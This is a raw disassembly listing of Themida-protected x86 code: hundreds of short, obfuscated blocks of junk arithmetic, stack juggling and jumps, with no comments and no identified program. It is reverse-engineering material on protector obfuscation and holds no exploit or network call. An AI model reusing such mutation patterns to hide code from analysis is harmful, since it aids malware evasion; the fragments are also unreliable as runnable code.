loc_5A722F: ; CODE XREF: Themida_:005AAA0Dj
sub esp, 4
mov [esp], eax
mov al, 0BDh
mov bh, 0A6h
sub bh, al
pop eax
push dx
mov dh, cl
mov cl, bh
mov bh, dh
jmp loc_5961BB
; ---------------------------------------------------------------------------
loc_5A724C: ; CODE XREF: Themida_:005AA395j
not esi
jmp loc_5A2C33
; ---------------------------------------------------------------------------
loc_5A7253: ; CODE XREF: Themida_:00595F1Cj
pop ecx
jmp loc_5A8D57
; ---------------------------------------------------------------------------
loc_5A7259: ; CODE XREF: Themida_:005A55B5j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_59CF05
; ---------------------------------------------------------------------------
loc_5A726B: ; CODE XREF: Themida_:00597465j
mov ebp, 4
add edi, ebp
pop ebp
jmp loc_5973AE
; ---------------------------------------------------------------------------
loc_5A7278: ; CODE XREF: Themida_:005A657Ej
mov esp, [esp]
jmp loc_5993E2
; ---------------------------------------------------------------------------
loc_5A7280: ; CODE XREF: Themida_:0059B1FCj
mov eax, [esp]
jmp loc_596053
; ---------------------------------------------------------------------------
loc_5A7288: ; CODE XREF: Themida_:0059F33Dj
add esi, 4
jmp loc_5A5965
; ---------------------------------------------------------------------------
loc_5A7293: ; CODE XREF: Themida_:005A6529j
add esp, 4
push edx
jmp loc_5A830C
; ---------------------------------------------------------------------------
loc_5A729F: ; CODE XREF: Themida_:0059F53Cj
mov eax, 431F4A09h
xor [esp+4], eax
push dword ptr [esp]
pop eax
push ecx
push esp
jmp loc_595F47
; ---------------------------------------------------------------------------
loc_5A72B3: ; CODE XREF: Themida_:0059C0A2j
pop edx
sub ebx, esi
push 678Ah
mov [esp], eax
mov eax, 426046C7h
sub ebx, eax
pop eax
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
add esp, 4
neg ebx
push eax
mov eax, 8F8F949Fh
sub ebx, 394B60E9h
add ebx, eax
add ebx, 394B60E9h
pop eax
xor eax, ebx
pop ebx
push ebx
jmp loc_5992C3
; ---------------------------------------------------------------------------
loc_5A72F6: ; CODE XREF: Themida_:005A0A34j
dec esi
not esi
add esi, 0FFFFFFFFh
sub esp, 4
mov [esp], ebp
mov ebp, 45D7005Bh
jmp loc_599EA6
; ---------------------------------------------------------------------------
loc_5A7312: ; CODE XREF: Themida_:00595FBBj
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_5A0C97
; ---------------------------------------------------------------------------
loc_5A7323: ; CODE XREF: Themida_:00596713j
push 7126h
mov [esp], eax
push ecx
mov cl, dh
mov al, cl
pop ecx
mov ch, al
pop eax
jmp loc_5A44F3
; ---------------------------------------------------------------------------
loc_5A7339: ; CODE XREF: Themida_:0059DB5Bj
shr esi, 5
xor esi, 73EFB044h
sub ebp, esi
pop esi
sub ebp, ebx
add ebp, 750A760Ch
pop ebx
jmp loc_5A1CC2
; ---------------------------------------------------------------------------
loc_5A7353: ; CODE XREF: Themida_:0059B102j
pop edi
jmp loc_598620
; ---------------------------------------------------------------------------
loc_5A7359: ; CODE XREF: Themida_:0059CFE5j
add esp, 4
jmp loc_59A1DF
; ---------------------------------------------------------------------------
loc_5A7361: ; CODE XREF: Themida_:0059FD8Fj
push dx
mov dl, ch
not dl
push eax
mov ah, dl
jmp loc_59A5C4
; ---------------------------------------------------------------------------
loc_5A736F: ; CODE XREF: Themida_:00596629j
sub edx, esi
add edx, 4EBD3388h
pop esi
add esi, edx
mov edx, [esp]
add esp, 4
xor esi, [esp]
jmp loc_5A0DC0
; ---------------------------------------------------------------------------
loc_5A7388: ; CODE XREF: Themida_:0059E15Cj
pop edx
pop esi
jmp loc_5A34F3
; ---------------------------------------------------------------------------
loc_5A738F: ; CODE XREF: Themida_:00596CA7j
sub ebp, 125E935h
add esi, ebp
pop ebp
pop eax
jmp loc_59B6BF
; ---------------------------------------------------------------------------
loc_5A739E: ; CODE XREF: Themida_:0059963Cj
sub esi, edi
mov edi, [esp]
add esp, 4
mov ebp, esi
push dword ptr [esp]
jmp loc_59F032
; ---------------------------------------------------------------------------
loc_5A73B3: ; CODE XREF: Themida_:005A8021j
sub ebx, 23C83554h
sub ebx, 40EE670Ah
push dword ptr [ebx]
pop eax
pop ebx
sub dword ptr [esp], 5EEA009Eh
sub dword ptr [esp], 1C10529Ch
add [esp], eax
push esi
mov esi, 1C10529Ch
add [esp+4], esi
pop esi
push 397Fh
mov [esp], edi
mov edi, 5EEA009Eh
push 2E7Ah
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
mov edx, 0C936FF4h
add dword ptr [esp+8], 22397CAAh
sub [esp+8], edx
sub esp, 4
mov [esp], edi
mov edi, 22397CAAh
sub [esp+0Ch], edi
pop edi
pop edx
jmp loc_59B8BE
; ---------------------------------------------------------------------------
lodsd
sub eax, 37AB6D5Eh
sub esp, 4
jmp loc_5A5BD8
; ---------------------------------------------------------------------------
loc_5A743F: ; CODE XREF: Themida_:005A867Dj
push ebp
mov ebp, 1A25107Bh
sub ebp, 0E209BCA1h
xor edx, ebp
pop ebp
add edx, 0D75C6AFAh
add esi, edx
pop edx
jmp loc_5A949B
; ---------------------------------------------------------------------------
loc_5A745C: ; CODE XREF: Themida_:0059E77Ej
movzx cx, ah
push 69DEh
mov [esp], eax
push 424Bh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
jmp loc_5A8397
; ---------------------------------------------------------------------------
loc_5A747A: ; CODE XREF: Themida_:005A9C94j
sub ecx, 281D5FEEh
mov ebx, [esp]
add esp, 4
jmp loc_59A977
; ---------------------------------------------------------------------------
loc_5A748B: ; CODE XREF: Themida_:0059C6D9j
mov ebx, [esp]
push esi
mov esi, esp
jmp loc_5A38AA
; ---------------------------------------------------------------------------
loc_5A7496: ; CODE XREF: Themida_:0059EF63j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A749B: ; CODE XREF: Themida_:005994AFj
sub ebx, 5C5A7505h
push dword ptr [esp]
pop eax
add esp, 4
add edx, ebx
jmp loc_598F06
; ---------------------------------------------------------------------------
loc_5A74AF: ; CODE XREF: Themida_:005AA330j
not edi
or edi, 0B06197Ah
push ecx
mov ecx, 72320D72h
jmp loc_5AA8AF
; ---------------------------------------------------------------------------
loc_5A74C2: ; CODE XREF: Themida_:005A4AE3j
add ecx, edi
pop edi
jmp loc_59A260
; ---------------------------------------------------------------------------
loc_5A74CA: ; CODE XREF: Themida_:00598078j
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A65B1
; ---------------------------------------------------------------------------
loc_5A74D5: ; CODE XREF: Themida_:005978CAj
add al, 0F8h
add al, 58h
push bx
mov bh, 0B4h
add al, 26h
add al, bh
sub al, 26h
pop bx
push ecx
push esp
jmp loc_59A367
; ---------------------------------------------------------------------------
loc_5A74EC: ; CODE XREF: Themida_:0059D986j
mov ebx, [esp]
jmp loc_59C505
; ---------------------------------------------------------------------------
loc_5A74F4: ; CODE XREF: Themida_:0059E914j
pop esi
sub esi, 4DCED0EFh
mov ebp, esi
pop esi
add ebx, 74902E50h
sub ebx, ebp
push edx
mov edx, 3B211C38h
push ebx
mov ebx, 4FB13268h
xor edx, ebx
pop ebx
sub ebx, edx
jmp loc_59D889
; ---------------------------------------------------------------------------
loc_5A751C: ; CODE XREF: Themida_:005AA55Bj
add esp, 4
xor ebp, 7B356D55h
mov edi, ebp
jmp loc_59F85E
; ---------------------------------------------------------------------------
loc_5A752F: ; CODE XREF: Themida_:005A165Bj
and ecx, 66175768h
not ecx
jmp loc_5A41CA
; ---------------------------------------------------------------------------
loc_5A753C: ; CODE XREF: Themida_:0059FD5Cj
pop edx
sub edx, 50E41673h
shr edx, 6
jmp loc_5A3B18
; ---------------------------------------------------------------------------
loc_5A754B: ; CODE XREF: Themida_:005A6938j
or [esp], eax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A7554: ; CODE XREF: Themida_:0059C072j
sub edx, eax
jmp loc_5A63AA
; ---------------------------------------------------------------------------
locret_5A755B: ; CODE XREF: Themida_:005A822Dj
retn
; ---------------------------------------------------------------------------
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A7561: ; CODE XREF: Themida_:0059C802j
add eax, 0C0C7F4D8h
and ebx, eax
mov eax, [esp]
add esp, 4
sub ebx, 0A95393B5h
sub ecx, 5B59265Fh
sub ecx, ebx
add ecx, 5B59265Fh
mov ebx, [esp]
add esp, 4
jmp loc_5A09AB
; ---------------------------------------------------------------------------
loc_5A7590: ; CODE XREF: Themida_:005A08B0j
inc cl
jmp loc_59DA16
; ---------------------------------------------------------------------------
loc_5A7597: ; CODE XREF: Themida_:005A7135j
and esi, 5289038Ch
xor esi, 61173951h
add edx, esi
jmp loc_5972F8
; ---------------------------------------------------------------------------
loc_5A75AA: ; CODE XREF: Themida_:005A2B7Bj
pop ebx
jmp loc_5A636B
; ---------------------------------------------------------------------------
loc_5A75B0: ; CODE XREF: Themida_:005A37B1j
xchg eax, [esp]
pop esp
mov [esp], esp
push ebx
mov ebx, 4
add [esp+4], ebx
jmp loc_5A4833
; ---------------------------------------------------------------------------
loc_5A75C6: ; CODE XREF: Themida_:005A8F3Ej
mov esi, 6778618Ch
jmp loc_5A5DDF
; ---------------------------------------------------------------------------
loc_5A75D0: ; CODE XREF: Themida_:0059B707j
mov edx, [esp]
jmp loc_59ACA4
; ---------------------------------------------------------------------------
loc_5A75D8: ; CODE XREF: Themida_:005A369Bj
push ecx
push esi
mov esi, 4C692637h
mov ecx, esi
pop esi
xor edx, ecx
pop ecx
add edx, 0AA97F8F9h
add esi, edx
mov edx, [esp]
add esp, 4
jmp loc_5A687A
; ---------------------------------------------------------------------------
loc_5A75F8: ; CODE XREF: Themida_:005967A3j
sub eax, 63CC4303h
push edx
mov edx, 22E10F0Ah
dec edx
inc edx
dec edx
jmp loc_59AFDD
; ---------------------------------------------------------------------------
loc_5A760B: ; CODE XREF: Themida_:0059F3A6j
add esi, 1DB497Ah
pop ebx
mov eax, esi
jmp loc_59A71D
; ---------------------------------------------------------------------------
loc_5A7619: ; CODE XREF: Themida_:005A8117j
push dword ptr [esp]
pop eax
jmp loc_59F60D
; ---------------------------------------------------------------------------
loc_5A7622: ; CODE XREF: Themida_:0059A3EDj
pop esp
push 3C6Eh
jmp loc_59C757
; ---------------------------------------------------------------------------
loc_5A762D: ; CODE XREF: Themida_:005A9203j
add esp, 4
jmp loc_59B97B
; ---------------------------------------------------------------------------
loc_5A7635: ; CODE XREF: Themida_:005A0B8Ej
add eax, edx
sub eax, 41B05C09h
sub eax, 453B0A34h
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xchg eax, [esp]
mov esp, [esp]
jmp loc_597CE4
; ---------------------------------------------------------------------------
loc_5A7661: ; CODE XREF: Themida_:0059E9A0j
not edi
xor edi, 0FFFFDFF1h
sub esi, 140A0C75h
add esi, edi
add esi, 140A0C75h
pop edi
push ecx
push edi
mov edi, 31A17CC0h
shr edi, 6
push edx
mov edx, 0C685F1h
sub edi, edx
pop edx
jmp loc_5A668B
; ---------------------------------------------------------------------------
loc_5A7690: ; CODE XREF: Themida_:0059F425j
pop edx
jmp loc_5A9604
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 2
jmp loc_59BD5E
; ---------------------------------------------------------------------------
loc_5A76A1: ; CODE XREF: Themida_:0059B990j
push 0
sub dword ptr [esp], 217B1D87h
sub [esp], ecx
add dword ptr [esp], 217B1D87h
pop ecx
xchg ecx, ebx
xor ebx, 0F8049F0Fh
mov eax, ebx
pop ebx
push eax
add dword ptr [esp], 5BB50072h
pop esi
jmp loc_5993FD
; ---------------------------------------------------------------------------
loc_5A76D1: ; CODE XREF: Themida_:00598E18j
add esp, 4
inc edx
push ecx
mov ecx, 614216ADh
jmp loc_59CDD1
; ---------------------------------------------------------------------------
loc_5A76E3: ; CODE XREF: Themida_:0059EFF0j
add edi, 4
jmp loc_5A6005
; ---------------------------------------------------------------------------
loc_5A76EE: ; CODE XREF: Themida_:005A320Dj
pop eax
push 54C0h
mov [esp], ebx
jmp loc_596985
; ---------------------------------------------------------------------------
loc_5A76FC: ; CODE XREF: Themida_:005A2AD4j
add eax, 0EE17D0E9h
mov ebp, eax
pop eax
push 2C06h
mov [esp], edi
push ebp
push edx
mov edx, 66025CF3h
push eax
mov eax, 544E5682h
jmp loc_5A20DC
; ---------------------------------------------------------------------------
loc_5A771E: ; CODE XREF: Themida_:005A3BC7j
add edx, 60671E84h
jmp loc_598298
; ---------------------------------------------------------------------------
loc_5A7729: ; CODE XREF: Themida_:0059C0B8j
push dword ptr [esp]
pop edx
add esp, 4
push edx
mov edx, 45F157B1h
and edx, 7044726Ch
not edx
or edx, 3D674B66h
not edx
jmp loc_59E398
; ---------------------------------------------------------------------------
loc_5A774B: ; CODE XREF: Themida_:00598EC0j
sub al, 14h
mov cl, al
pop eax
sub ah, cl
pop cx
sub bh, ah
pop eax
jmp loc_59E4A4
; ---------------------------------------------------------------------------
loc_5A775C: ; CODE XREF: Themida_:0059CAAFj
add edi, 0BF1986CCh
xor esi, edi
pop edi
jmp loc_5A6228
; ---------------------------------------------------------------------------
loc_5A776A: ; CODE XREF: Themida_:005A6063j
push esi
jmp loc_599F7B
; ---------------------------------------------------------------------------
loc_5A7770: ; CODE XREF: Themida_:0059C94Cj
push 3E6Eh
mov [esp], edi
mov edi, 4
push 443Ah
mov [esp], ecx
push edi
add dword ptr [esp], 716B551Ch
pop ecx
sub ecx, 716B551Ch
jmp loc_59D134
; ---------------------------------------------------------------------------
loc_5A7799: ; CODE XREF: Themida_:005A1E63j
xchg edx, ebp
inc edx
xchg edx, ebp
push esi
mov esi, 0A673AFCEh
jmp loc_59C9C9
; ---------------------------------------------------------------------------
loc_5A77A9: ; CODE XREF: Themida_:005A0137j
add esp, 4
jmp loc_59A2BD
; ---------------------------------------------------------------------------
loc_5A77B4: ; CODE XREF: Themida_:005A5498j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
mov edi, 1
jmp loc_5A7006
; ---------------------------------------------------------------------------
loc_5A77D1: ; CODE XREF: Themida_:0059B66Aj
pop ebx
mov esi, [esp]
jmp loc_5A5659
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push 7F4Ch
mov [esp], edi
push 49D5h
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_5A0C22
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], ecx
mov ecx, 6A4E2EA5h
push edx
mov edx, 55A26AF9h
and ecx, edx
jmp loc_5A6AC4
; ---------------------------------------------------------------------------
loc_5A7816: ; CODE XREF: Themida_:0059EBABj
mov esi, 32234674h
add ebx, esi
mov esi, [esp]
add esp, 4
push 24BBh
mov [esp], edx
push ecx
push edx
mov edx, 146972B8h
shr edx, 1
jmp loc_59E3FA
; ---------------------------------------------------------------------------
loc_5A7839: ; CODE XREF: Themida_:005A1C81j
inc ebx
or ebx, 5A9C645Ah
sub ebx, 37987C08h
shl ebx, 8
xor ebx, 18DE0DFDh
xor ebx, 2918CC42h
and esi, ebx
pop ebx
neg esi
add esi, 0A9436F98h
mov ebp, esi
pop esi
mov edi, ebp
pop ebp
jmp loc_59D461
; ---------------------------------------------------------------------------
loc_5A786B: ; CODE XREF: Themida_:0059E3D9j
mov edx, 759340D7h
xor edx, 759340D5h
mov edi, edx
pop edx
add esi, 68DC33C3h
sub esi, 3BEC0DB4h
add esi, edi
add esi, 3BEC0DB4h
sub esi, 68DC33C3h
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_5A6AA2
; ---------------------------------------------------------------------------
loc_5A78AA: ; CODE XREF: Themida_:0059A301j
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ecx
push esp
pop ecx
sub esp, 4
mov [esp], eax
mov eax, 64D00A7Fh
push ebp
jmp loc_5AA733
; ---------------------------------------------------------------------------
loc_5A78C9: ; CODE XREF: Themida_:00597872j
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
jmp loc_5A6466
; ---------------------------------------------------------------------------
loc_5A78DA: ; CODE XREF: Themida_:005A1E2Dj
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_59EDD5
; ---------------------------------------------------------------------------
loc_5A78F1: ; CODE XREF: Themida_:0059C1E3j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
and ecx, edi
pop edi
shr ecx, 6
jmp loc_5A2E8D
; ---------------------------------------------------------------------------
loc_5A790D: ; CODE XREF: Themida_:00599460j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A7912: ; CODE XREF: Themida_:0059A74Fj
sub bx, dx
sub bx, 0D27h
sub bx, 76Ah
pop dx
movzx eax, ax
push small 646Ah
jmp loc_598E3C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_5AA7A8
; ---------------------------------------------------------------------------
loc_5A793C: ; CODE XREF: Themida_:005A8FB7j
mov [esp], esp
jmp loc_5A7149
; ---------------------------------------------------------------------------
mov edx, [esp]
push 307Eh
mov [esp], ebx
push esp
pop ebx
push edx
mov edx, 26F75A54h
jmp loc_5A85AD
; ---------------------------------------------------------------------------
loc_5A795C: ; CODE XREF: Themida_:0059A458j
pop ebp
add esi, 40150C63h
jmp loc_5A4368
; ---------------------------------------------------------------------------
loc_5A7968: ; CODE XREF: Themida_:005A4E5Fj
mov [esp], edi
push ecx
mov ecx, eax
mov edi, ecx
pop ecx
push 4FE3h
mov [esp], ebx
push 49B6h
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], edi
pop ebx
push ebx
add dword ptr [esp], 1FC865D9h
pop eax
sub eax, 1FC865D9h
mov ebx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
push edi
mov edi, 69FF1E27h
and edi, 1E1F247Ah
add edi, 0F7E0FBE2h
add esi, edi
pop edi
add esi, 4
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push dword ptr [esp]
pop edi
push ebp
mov ebp, esp
jmp loc_59FAAA
; ---------------------------------------------------------------------------
loc_5A79EE: ; CODE XREF: Themida_:005AB231j
pop eax
add edx, 5FF35B1Bh
xor edx, 2B6F0252h
shl edx, 6
xor edx, 7BAC60F1h
xor esi, edx
pop edx
xor esi, 3CBF63D1h
mov ebx, esi
mov esi, [esp]
add esp, 4
push eax
mov eax, 2B507DA3h
inc eax
neg eax
and eax, 4E076D5Ah
add eax, 0FBBC2202h
add ebx, eax
mov eax, [esp]
add esp, 4
shr ebx, 7
push 53F1h
mov [esp], ebx
not dword ptr [esp]
pop ebx
jmp loc_5A96D6
; ---------------------------------------------------------------------------
loc_5A7A47: ; CODE XREF: Themida_:0059F258j
pop ax
sub bl, 0C1h
sub ch, 43h
sub ch, bl
add ch, 43h
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_5A9DDA
; ---------------------------------------------------------------------------
loc_5A7A60: ; CODE XREF: Themida_:0059E4BBj
cmp cl, al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A7A68: ; CODE XREF: Themida_:0059FA34j
add ebp, 1CB17910h
jmp loc_5AA077
; ---------------------------------------------------------------------------
loc_5A7A73: ; CODE XREF: Themida_:005A1AAEj
add ecx, 4
push esi
mov esi, 32D13C1Ah
sub esi, 1
xor esi, 32D13C1Dh
add ecx, esi
pop esi
jmp loc_59A2D5
; ---------------------------------------------------------------------------
loc_5A7A93: ; CODE XREF: Themida_:005A5559j
not dword ptr [esp]
pop eax
push 6959h
mov [esp], esi
mov esi, 68390137h
jmp loc_59DD59
; ---------------------------------------------------------------------------
loc_5A7AA9: ; CODE XREF: Themida_:0059645Fj
pop esp
xchg edx, ebx
not edx
xchg edx, ebx
push 5AFBh
mov [esp], eax
push 7338h
jmp loc_5A6CD3
; ---------------------------------------------------------------------------
loc_5A7AC2: ; CODE XREF: Themida_:005964E6j
and ecx, esi
pop esi
and ecx, 29C55FD1h
dec ecx
push ebx
push edi
mov edi, 2DBD2656h
push esi
mov esi, 53A162BDh
neg esi
shl esi, 8
jmp loc_5A6899
; ---------------------------------------------------------------------------
loc_5A7AE3: ; CODE XREF: Themida_:005A8403j
push edi
push ecx
mov ecx, 2D8A63B2h
shl ecx, 6
shl ecx, 7
sub ecx, 0D4073003h
jmp loc_5A71DA
; ---------------------------------------------------------------------------
loc_5A7AFB: ; CODE XREF: Themida_:005A51E8j
mov [esp], ebp
mov ebp, esp
push eax
jmp loc_59BA21
; ---------------------------------------------------------------------------
loc_5A7B06: ; CODE XREF: Themida_:005A25F9j
add esp, 4
push ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59632A
; ---------------------------------------------------------------------------
loc_5A7B1F: ; CODE XREF: Themida_:005A48E6j
mov [esp], ebx
not dword ptr [esp]
pop ebx
push ebp
mov ebp, 4F153DD6h
sub ebx, ebp
jmp loc_5A8DED
; ---------------------------------------------------------------------------
loc_5A7B33: ; CODE XREF: Themida_:005A2F0Ej
push 41A71F4Ah
jmp loc_596CE6
; ---------------------------------------------------------------------------
loc_5A7B3D: ; CODE XREF: Themida_:005A1E0Cj
sub al, 9Eh
sub al, 0F1h
add al, bl
jmp loc_59B0D0
; ---------------------------------------------------------------------------
loc_5A7B48: ; CODE XREF: Themida_:0059F62Cj
sub esp, 4
jmp loc_5A7E51
; ---------------------------------------------------------------------------
loc_5A7B53: ; CODE XREF: Themida_:005A377Bj
and edi, ebp
pop ebp
neg edi
jmp loc_59D91A
; ---------------------------------------------------------------------------
loc_5A7B5D: ; CODE XREF: Themida_:00596C93j
add bl, 0E9h
jmp loc_59F0CD
; ---------------------------------------------------------------------------
loc_5A7B65: ; CODE XREF: Themida_:00596F20j
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A2A58
; ---------------------------------------------------------------------------
loc_5A7B87: ; CODE XREF: Themida_:0059813Aj
add esi, ecx
pop ecx
jmp loc_599560
; ---------------------------------------------------------------------------
loc_5A7B8F: ; CODE XREF: Themida_:0059A1CFj
mov edx, 7D251515h
mov esi, 0E84B4C79h
jmp loc_5A9D48
; ---------------------------------------------------------------------------
loc_5A7B9E: ; CODE XREF: Themida_:0059B3AEj
mov esp, [esp]
jmp loc_59C951
; ---------------------------------------------------------------------------
loc_5A7BA6: ; CODE XREF: Themida_:0059FE57j
mov ebp, 95B4B62Fh
sub esi, ebp
pop ebp
add edi, esi
push dword ptr [esp]
pop esi
push edi
mov edi, esp
push esi
push eax
jmp loc_59E712
; ---------------------------------------------------------------------------
loc_5A7BBE: ; CODE XREF: Themida_:005A8E47j
push eax
jmp loc_5A58D2
; ---------------------------------------------------------------------------
loc_5A7BC4: ; CODE XREF: Themida_:0059973Aj
or eax, 16DF6A11h
dec eax
jmp loc_59B310
; ---------------------------------------------------------------------------
loc_5A7BCF: ; CODE XREF: Themida_:005A4801j
add ecx, 4
jmp loc_59D0D0
; ---------------------------------------------------------------------------
loc_5A7BDA: ; CODE XREF: Themida_:0059BBC6j
pop esp
jmp loc_5AAE05
; ---------------------------------------------------------------------------
loc_5A7BE0: ; CODE XREF: Themida_:0059CFD6j
add ebx, ebp
jmp loc_5A1AF4
; ---------------------------------------------------------------------------
loc_5A7BE7: ; CODE XREF: Themida_:0059C868j
neg eax
not eax
inc eax
jmp loc_5AA873
; ---------------------------------------------------------------------------
loc_5A7BF1: ; CODE XREF: Themida_:005A32F5j
sub esp, 4
mov [esp], ecx
jmp loc_5A2301
; ---------------------------------------------------------------------------
loc_5A7BFF: ; CODE XREF: Themida_:00599A99j
xchg ecx, [esp]
jmp loc_59DD91
; ---------------------------------------------------------------------------
loc_5A7C07: ; CODE XREF: Themida_:00598CB9j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A3C97
; ---------------------------------------------------------------------------
loc_5A7C12: ; CODE XREF: Themida_:00597BF0j
and eax, edi
push dword ptr [esp]
pop edi
push 778Eh
mov [esp], esi
push esp
jmp loc_5A2C59
; ---------------------------------------------------------------------------
loc_5A7C26: ; CODE XREF: Themida_:005AA028j
and eax, esi
mov esi, [esp]
add esp, 4
or eax, eax
jz loc_598070
push edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 4
push ebx
add dword ptr [esp], 10DA4D4Ch
pop esi
jmp loc_59DC85
; ---------------------------------------------------------------------------
loc_5A7C5C: ; CODE XREF: Themida_:005995A7j
push esi
xor dword ptr [esp], 0AF00750h
pop edx
jmp loc_5A9554
; ---------------------------------------------------------------------------
loc_5A7C6A: ; CODE XREF: Themida_:005A8DDFj
mov ebx, 4D811029h
push ebx
mov ebx, 24D96F79h
sub [esp+8], ebx
pop ebx
sub dword ptr [esp+4], 49DE1F5Bh
sub dword ptr [esp+4], 0D4258E3h
jmp loc_598BDC
; ---------------------------------------------------------------------------
loc_5A7C8F: ; CODE XREF: Themida_:005A0EA7j
add esp, 4
push edi
push ebx
mov ebx, 1B332E23h
mov edi, ebx
pop ebx
xor ebx, edi
pop edi
sub edi, 29B40EC2h
jmp loc_59EE95
; ---------------------------------------------------------------------------
loc_5A7CAD: ; CODE XREF: Themida_:005A3F2Dj
push eax
mov al, 54h
jmp loc_596FD2
; ---------------------------------------------------------------------------
loc_5A7CB5: ; CODE XREF: Themida_:005A8B97j
mov ebp, 7BE91043h
shl ebp, 2
or ebp, 6F137E7h
add ebp, 4B942AECh
sub ebp, 36026C8Ah
add eax, ebp
pop ebp
jmp loc_59BE99
; ---------------------------------------------------------------------------
loc_5A7CD7: ; CODE XREF: Themida_:005986F3j
sub ecx, 4
push ecx
jmp loc_5A7124
; ---------------------------------------------------------------------------
loc_5A7CE0: ; CODE XREF: Themida_:005AA17Fj
shr cl, 6
and cl, 90h
shl cl, 6
jmp loc_59CEBB
; ---------------------------------------------------------------------------
loc_5A7CEE: ; CODE XREF: Themida_:005A812Bj
add edx, 2867161Ah
add edx, 46C68235h
mov edi, edx
push dword ptr [esp]
jmp loc_5A9A30
; ---------------------------------------------------------------------------
loc_5A7D04: ; CODE XREF: Themida_:005A3469j
mov [esp], dx
jmp loc_5A6ACD
; ---------------------------------------------------------------------------
loc_5A7D0D: ; CODE XREF: Themida_:0059CEB6j
push 7438h
mov [esp], ebp
push dword ptr [esp]
pop esi
add esp, 4
push dword ptr [esp]
jmp loc_5A4F75
; ---------------------------------------------------------------------------
loc_5A7D24: ; CODE XREF: Themida_:005AAE17j
mov ebx, [esp]
jmp loc_5A2CC7
; ---------------------------------------------------------------------------
loc_5A7D2C: ; CODE XREF: Themida_:005AA108j
push ecx
mov ecx, 4
add edx, 4E7A1BEEh
jmp loc_5A4361
; ---------------------------------------------------------------------------
loc_5A7D3D: ; CODE XREF: Themida_:00599136j
pop esi
or edi, 7967134Dh
sub edi, 549473ADh
jmp loc_59B156
; ---------------------------------------------------------------------------
loc_5A7D4F: ; CODE XREF: Themida_:005A51F4j
mov edi, 332D7174h
xor edi, 84C4CB1Ah
sub eax, edi
pop edi
sub ebx, eax
pop eax
push 4717h
jmp loc_597DDC
; ---------------------------------------------------------------------------
loc_5A7D6A: ; CODE XREF: Themida_:0059F91Cj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5A7D6F: ; CODE XREF: Themida_:005A9C1Bj
push ebx
mov bl, 63h
or bl, 82h
xor bl, 64h
not bl
sub bl, 9Ch
mov ah, bl
pop ebx
sub ah, 7
add ah, 2Ch
sub cl, ah
jmp loc_599F65
; ---------------------------------------------------------------------------
loc_5A7D8D: ; CODE XREF: Themida_:00596248j
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
and [edi+1Ch], ecx
push dword ptr [esp]
pop ecx
jmp loc_5A5DE5
; ---------------------------------------------------------------------------
loc_5A7DA8: ; CODE XREF: Themida_:0059A055j
pop ebp
jmp loc_5A9181
; ---------------------------------------------------------------------------
loc_5A7DAE: ; CODE XREF: Themida_:005A00DAj
mov [esp], edx
mov edx, esp
push ebx
push ecx
push 7AA64C78h
pop ecx
xor ecx, 7AA64C7Ch
mov ebx, ecx
jmp loc_59B734
; ---------------------------------------------------------------------------
loc_5A7DC8: ; CODE XREF: Themida_:005A1996j
add dword ptr [esp], 1
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 52E042D0h
add ebx, esi
pop esi
inc ebx
shr ebx, 5
neg ebx
jmp loc_59D3AE
; ---------------------------------------------------------------------------
loc_5A7E03: ; CODE XREF: Themida_:005A8EDCj
sub esi, 71FF5114h
sub esi, edi
sub esp, 4
jmp loc_59D524
; ---------------------------------------------------------------------------
loc_5A7E13: ; CODE XREF: Themida_:005A68F3j
push ecx
jmp loc_59BE12
; ---------------------------------------------------------------------------
loc_5A7E19: ; CODE XREF: Themida_:005AA66Ej
mov esi, [esp]
jmp loc_59A963
; ---------------------------------------------------------------------------
loc_5A7E21: ; CODE XREF: Themida_:0059D544j
inc ebp
push edi
mov edi, 65673634h
and edi, 31C6527h
inc edi
jmp loc_598FAF
; ---------------------------------------------------------------------------
